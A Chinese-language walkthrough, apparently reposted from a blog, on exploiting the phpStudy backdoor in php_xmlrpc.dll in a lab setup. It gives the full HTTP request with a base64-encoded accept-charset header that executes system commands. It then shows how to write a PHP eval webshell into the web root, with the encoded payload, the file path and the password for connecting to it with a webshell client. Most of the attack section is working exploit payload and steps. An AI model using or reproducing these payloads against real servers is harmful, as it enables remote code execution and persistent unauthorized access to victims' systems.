如何使用phpstudy后門漏洞

如何使用phpstudy后門漏洞，針對這個問題，這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答，希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

phpstudy軟件是國內(nèi)的一款免費的PHP調(diào)試環(huán)境的程序集成包，通過集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款軟件一次性安裝，無需配置即可直接安裝使用，具有PHP環(huán)境調(diào)試和PHP開發(fā)功能，在國內(nèi)有著近百萬PHP語言學(xué)習(xí)者、開發(fā)者用戶。但是存在后門漏洞，可直接getshell。

漏洞存在版本：phpStudy2016php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllphpStudy2018PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

準(zhǔn)備工作：服務(wù)器：192.168.29.135（Windows server 2008 SP2）phpStudy2016(php-5.4.45+Apache)

一．漏洞環(huán)境搭建

1.下載phpStudy2016版的phpstudy，啟動后切換至php-5.4.45+Apache版本2. 查看服務(wù)器的IP地址3. 直接訪問http://192.168.29.135/，可得到以下界面（以下界面是自行配置的index.php界面，可根據(jù)情況自行配置）

二．漏洞成因

1. 查看文件C:\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll（這是我的安裝路徑，根據(jù)實際的安裝情況查看安裝路徑），Ctrl+F查找關(guān)鍵字“@evel”，找到了“@eval(%s('%s'));”，這也是漏洞的成因。

三．漏洞復(fù)現(xiàn)

1.訪問URL：http://192.168.29.135/，進行抓取數(shù)據(jù)包操作，并且將其發(fā)送到repeater模塊2.添加Accept-Encoding和accept-charset參數(shù)注意事項：如果沒有Accept-Encoding這個參數(shù)，需要手動加上，并且注意“gzip”和“deflate”之間存在一個逗號，并且中間沒有空格。需要手動加上：accept-charset:執(zhí)行命令的base 64編碼echo system("net user");的base64編碼為

ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7--------GET / HTTP/1.1Host: 192.168.29.135User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateaccept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0--------

執(zhí)行結(jié)果為：3.構(gòu)造一句話木馬寫入到web路徑下：

fputs(fopen('C:\phpStudy\WWW\xx.php','w'),'<?php@eval($_POST[1])?>');

4.將構(gòu)造的語句進行base64加密（刪掉下方加密中的左括號）ZnB1dHMoZm（9wZW4oJ0M6XHBocFN0dWR5XFdXV1x4eC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk/PicpOw==修改accept-charset的參數(shù)值，寫入一句話木馬5.查看服務(wù)器端是否將文件寫入6.使用菜刀進行連接操作，URL：http://192.168.29.135/xx.php，密碼為1原文鏈接

關(guān)于如何使用phpstudy后門漏洞問題的解答就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。